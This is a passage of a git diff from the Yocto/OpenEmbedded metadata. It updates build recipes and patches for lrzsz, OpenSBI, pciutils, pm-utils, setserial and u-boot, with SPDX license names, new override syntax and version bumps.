-+XGETTEXT_OPTIONS = --keyword=_ --keyword=N_
-+
-+# This is the copyright holder that gets inserted into the header of the
-+# $(DOMAIN).pot file. Set this to the copyright holder of the surrounding
-+# package. (Note that the msgstr strings, extracted from the package's
-+# sources, belong to the copyright holder of the package.) Translators are
-+# expected to transfer the copyright for their translations to this person
-+# or entity, or to disclaim their copyright. The empty string stands for
-+# the public domain; in this case the translators are expected to disclaim
-+# their copyright.
-+COPYRIGHT_HOLDER = Free Software Foundation, Inc.
-+
-+# This is the email address or URL to which the translators shall report
-+# bugs in the untranslated strings:
-+# - Strings which are not entire sentences, see the maintainer guidelines
-+# in the GNU gettext documentation, section 'Preparing Strings'.
-+# - Strings which use unclear terms or require additional context to be
-+# understood.
-+# - Strings which make invalid assumptions about notation of date, time or
-+# money.
-+# - Pluralisation problems.
-+# - Incorrect English spelling.
-+# - Incorrect formatting.
-+# It can be your email address, or a mailing list address where translators
-+# can write to without being subscribed, or the URL of a web page through
-+# which the translators can contact you.
-+MSGID_BUGS_ADDRESS =
-+
-+# This is the list of locale categories, beyond LC_MESSAGES, for which the
-+# message catalogs shall be used. It is usually empty.
-+EXTRA_LOCALE_CATEGORIES =
---- lrzsz-0.12.20.safe/po/quot.sed 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/po/quot.sed 2004-09-12 14:40:34.754687440 -0400
-@@ -0,0 +1,6 @@
-+s/"\([^"]*\)"/“\1”/g
-+s/`\([^`']*\)'/‘\1’/g
-+s/ '\([^`']*\)' / ‘\1’ /g
-+s/ '\([^`']*\)'$/ ‘\1’/g
-+s/^'\([^`']*\)' /‘\1’ /g
-+s/“”/""/g
---- lrzsz-0.12.20.safe/po/remove-potcdate.sin 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/po/remove-potcdate.sin 2004-09-12 14:40:34.762686224 -0400
-@@ -0,0 +1,19 @@
-+# Sed script that remove the POT-Creation-Date line in the header entry
-+# from a POT file.
-+#
-+# The distinction between the first and the following occurrences of the
-+# pattern is achieved by looking at the hold space.
-+/^"POT-Creation-Date: .*"$/{
-+x
-+# Test if the hold space is empty.
-+s/P/P/
-+ta
-+# Yes it was empty. First occurrence. Remove the line.
-+g
-+d
-+bb
-+:a
-+# The hold space was nonempty. Following occurrences. Do nothing.
-+x
-+:b
-+}
---- lrzsz-0.12.20.safe/po/Rules-quot 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/po/Rules-quot 2004-09-12 14:40:34.778683792 -0400
-@@ -0,0 +1,47 @@
-+# Special Makefile rules for English message catalogs with quotation marks.
-+
-+DISTFILES.common.extra1 = quot.sed boldquot.sed en@quot.header en@boldquot.header insert-header.sin Rules-quot
-+
-+.SUFFIXES: .insert-header .po-update-en
-+
-+en@quot.po-create:
-+ $(MAKE) en@quot.po-update
-+en@boldquot.po-create:
-+ $(MAKE) en@boldquot.po-update
-+
-+en@quot.po-update: en@quot.po-update-en
-+en@boldquot.po-update: en@boldquot.po-update-en
-+
-+.insert-header.po-update-en:
-+ @lang=`echo $@ | sed -e 's/\.po-update-en$$//'`; \
-+ if test "$(PACKAGE)" = "gettext"; then PATH=`pwd`/../src:$$PATH; GETTEXTLIBDIR=`cd $(top_srcdir)/src && pwd`; export GETTEXTLIBDIR; fi; \
-+ tmpdir=`pwd`; \
-+ echo "$$lang:"; \
-+ ll=`echo $$lang | sed -e 's/@.*//'`; \
-+ LC_ALL=C; export LC_ALL; \
-+ cd $(srcdir); \
-+ if $(MSGINIT) -i $(DOMAIN).pot --no-translator -l $$ll -o - 2>/dev/null | sed -f $$tmpdir/$$lang.insert-header | $(MSGCONV) -t UTF-8 | $(MSGFILTER) sed -f `echo $$lang | sed -e 's/.*@//'`.sed 2>/dev/null > $$tmpdir/$$lang.new.po; then \
-+ if cmp $$lang.po $$tmpdir/$$lang.new.po >/dev/null 2>&1; then \
-+ rm -f $$tmpdir/$$lang.new.po; \
-+ else \
-+ if mv -f $$tmpdir/$$lang.new.po $$lang.po; then \
-+ :; \
-+ else \
-+ echo "creation of $$lang.po failed: cannot move $$tmpdir/$$lang.new.po to $$lang.po" 1>&2; \
-+ exit 1; \
-+ fi; \
-+ fi; \
-+ else \
-+ echo "creation of $$lang.po failed!" 1>&2; \
-+ rm -f $$tmpdir/$$lang.new.po; \
-+ fi
-+
-+en@quot.insert-header: insert-header.sin
-+ sed -e '/^#/d' -e 's/HEADER/en@quot.header/g' $(srcdir)/insert-header.sin > en@quot.insert-header
-+
-+en@boldquot.insert-header: insert-header.sin
-+ sed -e '/^#/d' -e 's/HEADER/en@boldquot.header/g' $(srcdir)/insert-header.sin > en@boldquot.insert-header
-+
-+mostlyclean: mostlyclean-quot
-+mostlyclean-quot:
-+ rm -f *.insert-header
---- lrzsz-0.12.20.safe/po/stamp-cat-id 1998-12-30 02:50:01.000000000 -0500
-+++ lrzsz-0.12.20/po/stamp-cat-id 1969-12-31 19:00:00.000000000 -0500
-@@ -1 +0,0 @@
--timestamp
---- lrzsz-0.12.20.safe/src/Makefile.am 1998-12-28 03:38:47.000000000 -0500
-+++ lrzsz-0.12.20/src/Makefile.am 2004-09-12 14:40:53.665812512 -0400
-@@ -2,12 +2,12 @@
- lrz_SOURCES=lrz.c timing.c zperr.c zreadline.c crctab.c rbsb.c zm.c protname.c tcp.c lsyslog.c canit.c
- lsz_SOURCES=lsz.c timing.c zperr.c zreadline.c crctab.c rbsb.c zm.c protname.c tcp.c lsyslog.c canit.c
- noinst_HEADERS = timing.h zglobal.h zmodem.h
--datadir = $(prefix)/@DATADIRNAME@
-+datadir = $(prefix)/share
- localedir = $(datadir)/locale
- CFLAGS=@CFLAGS@
- DISTCLEAN_FILES=lrzszbug
-
--LDADD = ../lib/libzmodem.a @INTLLIBS@
-+LDADD = ../lib/libzmodem.a @LIBINTL@
- AUTOMAKE_OPTIONS=ansi2knr
- EXTRA_DIST = ansi2knr.1 ansi2knr.c lrzszbug.in
- INCLUDES = -I.. -I$(srcdir) -I$(top_srcdir)/src -I../intl -I$(top_srcdir)/lib
diff --git a/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/lrzsz_fix_for_automake-1.12.patch b/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/lrzsz_fix_for_automake-1.12.patch
deleted file mode 100644
index 682f1c9c8d..0000000000
--- a/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/lrzsz_fix_for_automake-1.12.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-Upstream-Status: Pending
-
-This patch fixes following issue with automake 1.12
-
-| configure.in:95: error: automatic de-ANSI-fication support has been removed
-...
-| lib/Makefile.am:3: error: automatic de-ANSI-fication support has been removed
-| lib/Makefile.am: installing './depcomp'
-| src/Makefile.am:11: error: automatic de-ANSI-fication support has been removed
-
-
-Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com>
-2012/05/03
-
-Index: lrzsz-0.12.20/configure.in
-===================================================================
---- lrzsz-0.12.20.orig/configure.in
-+++ lrzsz-0.12.20/configure.in
-@@ -92,7 +92,6 @@ AC_PROG_RANLIB
- AC_ISC_POSIX
- AC_AIX
- AC_MINIX
--AM_C_PROTOTYPES
- AC_C_CONST
- AC_C_INLINE
-
-Index: lrzsz-0.12.20/lib/Makefile.am
-===================================================================
---- lrzsz-0.12.20.orig/lib/Makefile.am
-+++ lrzsz-0.12.20/lib/Makefile.am
-@@ -1,6 +1,5 @@
- noinst_LIBRARIES=libzmodem.a
- CFLAGS=@CFLAGS@
--AUTOMAKE_OPTIONS=ansi2knr
-
- EXTRA_DIST = alloca.c ansi2knr.1 ansi2knr.c \
- getopt.c getopt1.c mkdir.c mktime.c \
-Index: lrzsz-0.12.20/src/Makefile.am
-===================================================================
---- lrzsz-0.12.20.orig/src/Makefile.am
-+++ lrzsz-0.12.20/src/Makefile.am
-@@ -8,7 +8,6 @@ CFLAGS=@CFLAGS@
- DISTCLEAN_FILES=lrzszbug
-
- LDADD = ../lib/libzmodem.a @LIBINTL@
--AUTOMAKE_OPTIONS=ansi2knr
- EXTRA_DIST = ansi2knr.1 ansi2knr.c lrzszbug.in
- INCLUDES = -I.. -I$(srcdir) -I$(top_srcdir)/src -I../intl -I$(top_srcdir)/lib
- #DEFS = -DLOCALEDIR=\"$(localedir)\" -DOS=\"@host_os@\" -DCPU=\"@host_cpu@\"
diff --git a/meta/recipes-bsp/lrzsz/lrzsz_0.12.20.bb b/meta/recipes-bsp/lrzsz/lrzsz_0.12.20.bb
index 34556b2c29..a34fb4eb03 100644
--- a/meta/recipes-bsp/lrzsz/lrzsz_0.12.20.bb
+++ b/meta/recipes-bsp/lrzsz/lrzsz_0.12.20.bb
@@ -5,7 +5,7 @@ These programs use error correcting protocols ({z,x,y}modem) to send (sz, sx, sb
receive (rz, rx, rb) files over a dial-in serial port from a variety of programs \
running under various operating systems. "
HOMEPAGE = "http://www.ohse.de/uwe/software/lrzsz.html"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
file://src/lrz.c;beginline=1;endline=10;md5=5276956373ff7d8758837f6399a1045f"
SECTION = "console/network"
@@ -13,14 +13,13 @@ DEPENDS = ""
PR = "r6"
SRC_URI = "http://www.ohse.de/uwe/releases/lrzsz-${PV}.tar.gz \
+ file://autotools-update.patch \
file://autotools.patch \
file://makefile.patch \
- file://gettext.patch \
- file://acdefine.patch \
- file://lrzsz_fix_for_automake-1.12.patch \
file://lrzsz-check-locale.h.patch \
file://cve-2018-10195.patch \
file://include.patch \
+ file://0001-Fix-cross-compilation-using-autoconf-detected-AR.patch \
"
SRC_URI[md5sum] = "b5ce6a74abc9b9eb2af94dffdfd372a4"
@@ -39,7 +38,7 @@ inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "rz rx rb sz sx sb"
+ALTERNATIVE:${PN} = "rz rx rb sz sx sb"
ALTERNATIVE_TARGET[rz] = "${bindir}/lrz"
ALTERNATIVE_TARGET[rx] = "${bindir}/lrz"
diff --git a/meta/recipes-bsp/opensbi/files/0001-Makefile-Don-t-specify-mabi-or-march.patch b/meta/recipes-bsp/opensbi/files/0001-Makefile-Don-t-specify-mabi-or-march.patch
deleted file mode 100644
index 9c2d0eb479..0000000000
--- a/meta/recipes-bsp/opensbi/files/0001-Makefile-Don-t-specify-mabi-or-march.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From f5871e1f3650d6c8a032928cb5d8ca00c275c377 Mon Sep 17 00:00:00 2001
-From: Alistair Francis <alistair.francis@wdc.com>
-Date: Fri, 15 Feb 2019 14:57:41 -0800
-Subject: [PATCH] Makefile: Don't specify mabi or march
-
-To avoid
- can't link double-float modules with soft-float modules
-errors when building 32-bit openSBI don't specify mabi or march.
-
-Upstream-Status: Inappropriate [Fixes a 32-bit Yocto flow bug]
-Signed-off-by: Alistair Francis <alistair.francis@wdc.com>
----
- Makefile | 2 --
- 1 file changed, 2 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index ae68f55..10851fc 100644
---- a/Makefile
-+++ b/Makefile
-@@ -145,7 +145,6 @@ GENFLAGS += $(firmware-genflags-y)
- CFLAGS = -g -Wall -Werror -nostdlib -fno-strict-aliasing -O2
- CFLAGS += -fno-omit-frame-pointer -fno-optimize-sibling-calls
- CFLAGS += -mno-save-restore -mstrict-align
--CFLAGS += -mabi=$(PLATFORM_RISCV_ABI) -march=$(PLATFORM_RISCV_ISA)
- CFLAGS += -mcmodel=$(PLATFORM_RISCV_CODE_MODEL)
- CFLAGS += $(GENFLAGS)
- CFLAGS += $(platform-cflags-y)
-@@ -158,7 +157,6 @@ CPPFLAGS += $(firmware-cppflags-y)
- ASFLAGS = -g -Wall -nostdlib -D__ASSEMBLY__
- ASFLAGS += -fno-omit-frame-pointer -fno-optimize-sibling-calls
- ASFLAGS += -mno-save-restore -mstrict-align
--ASFLAGS += -mabi=$(PLATFORM_RISCV_ABI) -march=$(PLATFORM_RISCV_ISA)
- ASFLAGS += -mcmodel=$(PLATFORM_RISCV_CODE_MODEL)
- ASFLAGS += $(GENFLAGS)
- ASFLAGS += $(platform-asflags-y)
---
-2.20.1
-
diff --git a/meta/recipes-bsp/opensbi/opensbi-payloads.inc b/meta/recipes-bsp/opensbi/opensbi-payloads.inc
index b9714a7acb..e590a27573 100644
--- a/meta/recipes-bsp/opensbi/opensbi-payloads.inc
+++ b/meta/recipes-bsp/opensbi/opensbi-payloads.inc
@@ -8,32 +8,29 @@ def riscv_get_extra_oemake_image(d):
return "FW_PAYLOAD_PATH=" + deploy_dir + "/" + sbi_payload
def riscv_get_extra_oemake_fdt(d):
- sbi_fdt_payload = d.getVar('RISCV_SBI_FDT')
+ sbi_fdt = d.getVar('RISCV_SBI_FDT')
deploy_dir = d.getVar('DEPLOY_DIR_IMAGE')
- if sbi_fdt_payload is None:
+ if sbi_fdt is None:
return ""
- return "FW_PAYLOAD_FDT_PATH=" + deploy_dir + "/" + sbi_fdt_payload
+ return "FW_FDT_PATH=" + deploy_dir + "/" + sbi_fdt
def riscv_get_do_compile_depends(d):
- sbi_payload = d.getVar('RISCV_SBI_PAYLOAD')
- sbi_fdt_payload = d.getVar('RISCV_SBI_FDT')
+ sbi_payload = d.getVar('RISCV_SBI_PAYLOAD') or ""
+ sbi_fdt = d.getVar('RISCV_SBI_FDT') or ""
- if sbi_payload is None:
+ if sbi_payload == "" and sbi_fdt == "":
return ""
+ if sbi_fdt != "" and 'u-boot.bin' in sbi_payload:
+ return "virtual/kernel:do_deploy virtual/bootloader:do_deploy"
+
if 'linux' in sbi_payload or 'Image' in sbi_payload:
return "virtual/kernel:do_deploy"
if 'u-boot.bin' in sbi_payload:
- # If we want U-Boot and a FDT then we need to depend on U-Boot and
- # the kernel
- if sbi_fdt_payload is not None:
- return "virtual/bootloader:do_deploy virtual/kernel:do_deploy"
- else:
- return "virtual/bootloader:do_deploy"
- # If we want a custom FDT then we need to depend on the kernel
- if sbi_fdt_payload is not None:
+ return "virtual/bootloader:do_deploy"
+ if sbi_fdt != "":
return "virtual/kernel:do_deploy"
return ""
diff --git a/meta/recipes-bsp/opensbi/opensbi_0.5.bb b/meta/recipes-bsp/opensbi/opensbi_0.5.bb
deleted file mode 100644
index 759bbbfdaa..0000000000
--- a/meta/recipes-bsp/opensbi/opensbi_0.5.bb
+++ /dev/null
@@ -1,53 +0,0 @@
-SUMMARY = "RISC-V Open Source Supervisor Binary Interface (OpenSBI)"
-DESCRIPTION = "OpenSBI aims to provide an open-source and extensible implementation of the RISC-V SBI specification for a platform specific firmware (M-mode) and a general purpose OS, hypervisor or bootloader (S-mode or HS-mode). OpenSBI implementation can be easily extended by RISC-V platform or System-on-Chip vendors to fit a particular hadware configuration."
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING.BSD;md5=42dd9555eb177f35150cf9aa240b61e5"
-DEPENDS += "dtc-native"
-
-require opensbi-payloads.inc
-
-inherit autotools-brokensep deploy
-
-SRCREV = "be92da280d87c38a2e0adc5d3f43bab7b5468f09"
-SRC_URI = "git://github.com/riscv/opensbi.git \
- file://0001-Makefile-Don-t-specify-mabi-or-march.patch \
- "
-
-S = "${WORKDIR}/git"
-
-SRC_URI[md5sum] = "621f38d8205ef5fb185e4055025e73df"
-SRC_URI[sha256sum] = "07f18b73abf3b85aabe5bead19a923716c100d30eb58033459f39c3a224be300"
-
-EXTRA_OEMAKE += "PLATFORM=${RISCV_SBI_PLAT} I=${D}"
-# If RISCV_SBI_PAYLOAD is set then include it as a payload
-EXTRA_OEMAKE_append = " ${@riscv_get_extra_oemake_image(d)} ${@riscv_get_extra_oemake_fdt(d)}"
-
-# Required if specifying a custom payload
-do_compile[depends] += "${@riscv_get_do_compile_depends(d)}"
-
-do_install_append() {
- # In the future these might be required as a dependency for other packages.
- # At the moment just delete them to avoid warnings
- rm -r ${D}/include
- rm -r ${D}/platform/${RISCV_SBI_PLAT}/lib
- rm -r ${D}/platform/${RISCV_SBI_PLAT}/firmware/payloads
- rm -r ${D}/lib
-}
-
-do_deploy () {
- install -m 755 ${D}/platform/${RISCV_SBI_PLAT}/firmware/fw_payload.* ${DEPLOYDIR}/
- install -m 755 ${D}/platform/${RISCV_SBI_PLAT}/firmware/fw_jump.* ${DEPLOYDIR}/
- install -m 755 ${D}/platform/${RISCV_SBI_PLAT}/firmware/fw_dynamic.* ${DEPLOYDIR}/
-}
-
-addtask deploy before do_build after do_install
-
-FILES_${PN} += "/platform/${RISCV_SBI_PLAT}/firmware/fw_jump.*"
-FILES_${PN} += "/platform/${RISCV_SBI_PLAT}/firmware/fw_payload.*"
-FILES_${PN} += "/platform/${RISCV_SBI_PLAT}/firmware/fw_dynamic.*"
-
-
-COMPATIBLE_HOST = "(riscv64|riscv32).*"
-INHIBIT_PACKAGE_STRIP = "1"
-
-SECURITY_CFLAGS = ""
diff --git a/meta/recipes-bsp/opensbi/opensbi_1.0.bb b/meta/recipes-bsp/opensbi/opensbi_1.0.bb
new file mode 100644
index 0000000000..8430f62543
--- /dev/null
+++ b/meta/recipes-bsp/opensbi/opensbi_1.0.bb
@@ -0,0 +1,48 @@
+SUMMARY = "RISC-V Open Source Supervisor Binary Interface (OpenSBI)"
+DESCRIPTION = "OpenSBI aims to provide an open-source and extensible implementation of the RISC-V SBI specification for a platform specific firmware (M-mode) and a general purpose OS, hypervisor or bootloader (S-mode or HS-mode). OpenSBI implementation can be easily extended by RISC-V platform or System-on-Chip vendors to fit a particular hadware configuration."
+HOMEPAGE = "https://github.com/riscv/opensbi"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING.BSD;md5=42dd9555eb177f35150cf9aa240b61e5"
+
+require opensbi-payloads.inc
+
+inherit autotools-brokensep deploy
+
+SRCREV = "ce4c0188d96b2c20c2e08d24646a5e517fe15a4b"
+SRC_URI = "git://github.com/riscv/opensbi.git;branch=master;protocol=https \
+ "
+
+S = "${WORKDIR}/git"
+
+EXTRA_OEMAKE += "PLATFORM=${RISCV_SBI_PLAT} I=${D} FW_PIC=n CLANG_TARGET= "
+# If RISCV_SBI_PAYLOAD is set then include it as a payload
+EXTRA_OEMAKE:append = " ${@riscv_get_extra_oemake_image(d)}"
+EXTRA_OEMAKE:append = " ${@riscv_get_extra_oemake_fdt(d)}"
+
+# Required if specifying a custom payload
+do_compile[depends] += "${@riscv_get_do_compile_depends(d)}"
+
+do_install:append() {
+ # In the future these might be required as a dependency for other packages.
+ # At the moment just delete them to avoid warnings
+ rm -r ${D}/include
+ rm -r ${D}/lib*
+ rm -r ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/payloads
+}
+
+do_deploy () {
+ install -m 755 ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_payload.* ${DEPLOYDIR}/
+ install -m 755 ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_jump.* ${DEPLOYDIR}/
+ install -m 755 ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_dynamic.* ${DEPLOYDIR}/
+}
+
+addtask deploy before do_build after do_install
+
+FILES:${PN} += "/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_jump.*"
+FILES:${PN} += "/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_payload.*"
+FILES:${PN} += "/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_dynamic.*"
+
+COMPATIBLE_HOST = "(riscv64|riscv32).*"
+INHIBIT_PACKAGE_STRIP = "1"
+
+SECURITY_CFLAGS = ""
diff --git a/meta/recipes-bsp/pciutils/pciutils/configure.patch b/meta/recipes-bsp/pciutils/pciutils/configure.patch
index a7e445733a..e444c13975 100644
--- a/meta/recipes-bsp/pciutils/pciutils/configure.patch
+++ b/meta/recipes-bsp/pciutils/pciutils/configure.patch
@@ -24,7 +24,7 @@ Index: pciutils-3.5.6/Makefile
- $(CC) $(LDFLAGS) $(TARGET_ARCH) $^ $(LDLIBS) -o $@
+ $(CC) $(LDFLAGS) $(TARGET_ARCH) $^ $(LIB_LDLIBS) $(LDLIBS) -o $@
- %.8 %.7: %.man
+ %.8 %.7 %.5: %.man
M=`echo $(DATE) | sed 's/-01-/-January-/;s/-02-/-February-/;s/-03-/-March-/;s/-04-/-April-/;s/-05-/-May-/;s/-06-/-June-/;s/-07-/-July-/;s/-08-/-August-/;s/-09-/-September-/;s/-10-/-October-/;s/-11-/-November-/;s/-12-/-December-/;s/\(.*\)-\(.*\)-\(.*\)/\3 \2 \1/'` ; sed <$< >$@ "s/@TODAY@/$$M/;s/@VERSION@/pciutils-$(VERSION)/;s#@IDSDIR@#$(IDSDIR)#"
Index: pciutils-3.5.6/lib/configure
===================================================================
@@ -70,7 +70,7 @@ Index: pciutils-3.5.6/lib/configure
fi
[ -n "$RELEASE" ] && rel="${RELEASE}"
# CAVEAT: tr on Solaris is a bit weird and the extra [] is otherwise harmless.
-@@ -44,6 +48,8 @@ cpu=`echo $host | sed 's/^\([^-]*\)-\([^
+@@ -44,6 +48,8 @@ cpu=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
sys=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
echo " $host $rel $cpu $sys"
diff --git a/meta/recipes-bsp/pciutils/pciutils_3.6.2.bb b/meta/recipes-bsp/pciutils/pciutils_3.6.2.bb
deleted file mode 100644
index 413421cd8a..0000000000
--- a/meta/recipes-bsp/pciutils/pciutils_3.6.2.bb
+++ /dev/null
@@ -1,60 +0,0 @@
-SUMMARY = "PCI utilities"
-DESCRIPTION = 'The PCI Utilities package contains a library for portable access \
-to PCI bus configuration space and several utilities based on this library.'
-HOMEPAGE = "http://atrey.karlin.mff.cuni.cz/~mj/pciutils.shtml"
-SECTION = "console/utils"
-
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-DEPENDS = "zlib kmod"
-
-SRC_URI = "${KERNELORG_MIRROR}/software/utils/pciutils/pciutils-${PV}.tar.xz \
- file://configure.patch"
-
-SRC_URI[md5sum] = "77963796d1be4f451b83e6da28ba4f82"
-SRC_URI[sha256sum] = "db452ec986edefd88af0d222d22f6102f8030a8633fdfe846c3ae4bde9bb93f3"
-
-inherit multilib_header pkgconfig
-
-PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'hwdb', '', d)}"
-PACKAGECONFIG[hwdb] = "HWDB=yes,HWDB=no,udev"
-
-PCI_CONF_FLAG = "ZLIB=yes DNS=yes SHARED=yes STRIP= LIBDIR=${libdir}"
-
-# see configure.patch
-do_configure () {
- (
- cd lib && \
- # PACKAGECONFIG_CONFARGS for this recipe could only possibly contain 'HWDB=yes/no',
- # so we put it before ./configure
- ${PCI_CONF_FLAG} ${PACKAGECONFIG_CONFARGS} ./configure ${PV} ${datadir} ${TARGET_OS} ${TARGET_ARCH}
- )
-}
-
-export PREFIX = "${prefix}"
-export SBINDIR = "${sbindir}"
-export SHAREDIR = "${datadir}"
-export MANDIR = "${mandir}"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS= ${PCI_CONF_FLAG}"
-
-ASNEEDED = ""
-
-# The configure script breaks if the HOST variable is set
-HOST[unexport] = "1"
-
-do_install () {
- oe_runmake DESTDIR=${D} install install-lib
-
- install -d ${D}${bindir}
- ln -s ../sbin/lspci ${D}${bindir}/lspci
-
- oe_multilib_header pci/config.h
-}
-
-PACKAGES =+ "${PN}-ids libpci"
-FILES_${PN}-ids = "${datadir}/pci.ids*"
-FILES_libpci = "${libdir}/libpci.so.*"
-SUMMARY_${PN}-ids = "PCI utilities - device ID database"
-DESCRIPTION_${PN}-ids = "Package providing the PCI device ID database for pciutils."
-RDEPENDS_${PN} += "${PN}-ids"
diff --git a/meta/recipes-bsp/pciutils/pciutils_3.7.0.bb b/meta/recipes-bsp/pciutils/pciutils_3.7.0.bb
new file mode 100644
index 0000000000..7d1740f665
--- /dev/null
+++ b/meta/recipes-bsp/pciutils/pciutils_3.7.0.bb
@@ -0,0 +1,59 @@
+SUMMARY = "PCI utilities"
+DESCRIPTION = 'The PCI Utilities package contains a library for portable access \
+to PCI bus configuration space and several utilities based on this library.'
+HOMEPAGE = "http://atrey.karlin.mff.cuni.cz/~mj/pciutils.shtml"
+SECTION = "console/utils"
+
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+DEPENDS = "zlib kmod"
+
+SRC_URI = "${KERNELORG_MIRROR}/software/utils/pciutils/pciutils-${PV}.tar.xz \
+ file://configure.patch"
+
+SRC_URI[sha256sum] = "9d40b97be8b6a2cdf96aead5a61881d1f7e4e0da9544a9bac4fba1ae9dcd40eb"
+
+inherit multilib_header pkgconfig
+
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'hwdb', '', d)}"
+PACKAGECONFIG[hwdb] = "HWDB=yes,HWDB=no,udev"
+
+PCI_CONF_FLAG = "ZLIB=yes DNS=yes SHARED=yes STRIP= LIBDIR=${libdir}"
+
+# see configure.patch
+do_configure () {
+ (
+ cd lib && \
+ # PACKAGECONFIG_CONFARGS for this recipe could only possibly contain 'HWDB=yes/no',
+ # so we put it before ./configure
+ ${PCI_CONF_FLAG} ${PACKAGECONFIG_CONFARGS} ./configure ${PV} ${datadir} ${TARGET_OS} ${TARGET_ARCH}
+ )
+}
+
+export PREFIX = "${prefix}"
+export SBINDIR = "${sbindir}"
+export SHAREDIR = "${datadir}"
+export MANDIR = "${mandir}"
+
+EXTRA_OEMAKE = "-e MAKEFLAGS= ${PCI_CONF_FLAG}"
+
+ASNEEDED = ""
+
+# The configure script breaks if the HOST variable is set
+HOST[unexport] = "1"
+
+do_install () {
+ oe_runmake DESTDIR=${D} install install-lib
+
+ install -d ${D}${bindir}
+ ln -s ../sbin/lspci ${D}${bindir}/lspci
+
+ oe_multilib_header pci/config.h
+}
+
+PACKAGES =+ "${PN}-ids libpci"
+FILES:${PN}-ids = "${datadir}/pci.ids*"
+FILES:libpci = "${libdir}/libpci.so.*"
+SUMMARY:${PN}-ids = "PCI utilities - device ID database"
+DESCRIPTION:${PN}-ids = "Package providing the PCI device ID database for pciutils."
+RDEPENDS:${PN} += "${PN}-ids"
diff --git a/meta/recipes-bsp/pm-utils/pm-utils_1.4.1.bb b/meta/recipes-bsp/pm-utils/pm-utils_1.4.1.bb
index cac09101c4..c6a4bc4932 100644
--- a/meta/recipes-bsp/pm-utils/pm-utils_1.4.1.bb
+++ b/meta/recipes-bsp/pm-utils/pm-utils_1.4.1.bb
@@ -2,7 +2,7 @@ SECTION = "base"
SUMMARY = "Utilities and scripts for power management"
DESCRIPTION = "Simple shell command line tools to suspend and hibernate."
HOMEPAGE = "http://pm-utils.freedesktop.org/wiki/"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://src/pm-pmu.c;beginline=1;endline=22;md5=3c1ddbc54e735fb4a0386e14c78a3147"
@@ -17,11 +17,11 @@ inherit pkgconfig autotools manpages
PACKAGECONFIG[manpages] = "--enable-doc, --disable-doc, libxslt-native xmlto-native"
-RDEPENDS_${PN} = "grep bash"
+RDEPENDS:${PN} = "grep bash"
-do_configure_prepend () {
+do_configure:prepend () {
( cd ${S}; autoreconf -f -i -s )
}
-FILES_${PN} += "${libdir}/${BPN}/*"
-FILES_${PN}-dbg += "${datadir}/doc/pm-utils/README.debugging"
+FILES:${PN} += "${libdir}/${BPN}/*"
+FILES:${PN}-dbg += "${datadir}/doc/pm-utils/README.debugging"
diff --git a/meta/recipes-bsp/setserial/setserial_2.17.bb b/meta/recipes-bsp/setserial/setserial_2.17.bb
index 8dbddd7dc5..5b31cd183b 100644
--- a/meta/recipes-bsp/setserial/setserial_2.17.bb
+++ b/meta/recipes-bsp/setserial/setserial_2.17.bb
@@ -4,7 +4,7 @@ HOMEPAGE = "http://setserial.sourceforge.net"
AUTHOR = "Theodore Ts'o <tytso@mit.edu>"
SECTION = "console/utils"
-LICENSE = "GPLv2.0"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://version.h;beginline=1;endline=6;md5=2e7c59cb9e57e356ae81f50f4e4dfd99"
PR = "r3"
diff --git a/meta/recipes-bsp/u-boot/files/0001-include-env.h-Ensure-ulong-is-defined.patch b/meta/recipes-bsp/u-boot/files/0001-include-env.h-Ensure-ulong-is-defined.patch
deleted file mode 100644
index b9118164df..0000000000
--- a/meta/recipes-bsp/u-boot/files/0001-include-env.h-Ensure-ulong-is-defined.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 0565a080d153d5baaaacfeb5045a832e126f4f9e Mon Sep 17 00:00:00 2001
-From: Alistair Francis <alistair.francis@wdc.com>
-Date: Mon, 14 Oct 2019 17:37:30 -0700
-Subject: [PATCH] include/env.h: Ensure ulong is defined
-
-To fix these failures when building with musl:
- include/env.h:166:1: error: unknown type name 'ulong'; did you mean 'long'?
-ensure that ulong is defined.
-
-Upstream-Status: Pending
-Signed-off-by: Alistair Francis <alistair.francis@wdc.com>
----
- include/env.h | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/include/env.h b/include/env.h
-index b72239f6a5..5ca49a3456 100644
---- a/include/env.h
-+++ b/include/env.h
-@@ -13,6 +13,8 @@
- #include <stdbool.h>
- #include <linux/types.h>
-
-+typedef unsigned long ulong;
-+
- struct environment_s;
-
- /* Value for environment validity */
---
